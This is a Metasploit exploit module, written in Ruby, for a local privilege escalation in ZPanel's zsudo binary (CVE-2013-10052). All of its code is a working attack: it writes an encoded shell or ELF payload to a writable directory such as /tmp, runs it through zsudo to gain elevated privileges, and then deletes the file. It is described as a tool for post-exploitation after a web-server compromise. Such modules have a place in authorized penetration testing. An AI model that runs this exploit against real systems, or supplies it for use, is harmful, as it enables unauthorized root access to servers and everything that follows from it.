ZPanel zsudo Local Privilege Escalation Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'ZPanel zsudo Local Privilege Escalation Exploit',
          'Description' => %q{
            This module abuses the zsudo binary, installed with zpanel, to escalate
            privileges. In order to work, a session with access to zsudo on the sudoers
            configuration is needed. This module is useful for post exploitation of ZPanel
            vulnerabilities, where typically web server privileges are acquired, and this
            user is allowed to execute zsudo on the sudoers file.
          },
          'License' => MSF_LICENSE,
          'Author' => [ 'sinn3r', 'juan vazquez' ],
          'DisclosureDate' => '2013-06-07',
          'Platform' => %w[linux unix],
          'SessionTypes' => [ 'shell', 'meterpreter' ],
          'Targets' => [
            [ 'Command payload', { 'Arch' => ARCH_CMD } ],
            [ 'Linux x86', { 'Arch' => ARCH_X86 } ]
          ],
          'DefaultOptions' => { 'PrependSetresuid' => true, 'WfsDelay' => 2 },
          'DefaultTarget' => 0,
          'References' => [
            [ 'CVE', '2013-10052' ]
          ],
          'Notes' => {
            'Reliability' => UNKNOWN_RELIABILITY,
            'Stability' => UNKNOWN_STABILITY,
            'SideEffects' => UNKNOWN_SIDE_EFFECTS
          }
        }
      )
    )
    register_options [
      OptString.new('zsudo', [ true, 'Path to zsudo executable', '/etc/zpanel/panel/bin/zsudo' ])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def check
    if file?(datastore['zsudo'])
      return CheckCode::Detected('zsudo binary found')
    end

    return CheckCode::Safe('zsudo binary not found')
  end

  def exploit
    if (target.arch.include? ARCH_CMD)
      exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(rand(3..7))}.sh"
      # Using this way of writing the payload to avoid issues when failing to find
      # a command on the victim for writing binary data
      cmd_exec "echo \"#{payload.encoded.gsub(/"/, '\"')}\" > #{exe_file}"
    else
      exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(rand(3..7))}.elf"
      write_file(exe_file, generate_payload_exe)
    end

    cmd_exec "chmod +x #{exe_file}"

    print_status('Running...')

    begin
      cmd_exec "#{datastore['zsudo']} #{exe_file} #{rand_text_alpha(rand(3..7))}"
    ensure
      cmd_exec "rm -f #{exe_file}"
    end
  end
end